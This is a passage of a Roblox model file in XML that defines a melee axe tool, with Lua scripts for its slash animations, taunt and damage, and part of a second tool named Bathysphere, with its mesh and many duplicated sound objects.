					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.400000006</X>
						<Y>1</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX3984">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=74889087</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.600000024</X>
							<Y>0.600000024</Y>
							<Z>0.600000024</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3985">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3986">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3987">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3988">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3989">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3990">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3991">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3992">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3993">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3994">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3995">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3996">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3997">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3998">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3999">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4000">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4001">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4002">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4003">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4004">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4005">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4006">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX4007">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4008">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4009">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4010">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4011">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4012">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4013">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4014">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=15
swingdamage=25
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.7)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4015">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>-0.0900000036</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>0.00999945402</R11>
					<R12>-0.999949992</R12>
					<R20>0</R20>
					<R21>0.999949992</R21>
					<R22>0.00999945402</R22>
				</CoordinateFrame>
				<string name="Name">Bathysphere</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126896531</url></Content>
				<string name="ToolTip">Bathysphere</string>
			</Properties>
			<Item class="Part" referent="RBX4016">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16.8999996</X>
						<Y>17.3999996</Y>
						<Z>37.2000008</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1.80003095</X>
						<Y>1.5999999</Y>
						<Z>1.40000176</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4017">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=116524125 </url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.06099999</X>
							<Y>1.06099999</Y>
							<Z>1.06099999</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4018">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4019">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4020">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4021">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4022">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4023">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4024">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4025">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4026">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4027">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4028">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4029">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4030">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4031">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4032">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4033">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4034">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4035">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4036">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4037">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4038">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4039">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4040">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4041">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4042">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4043">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
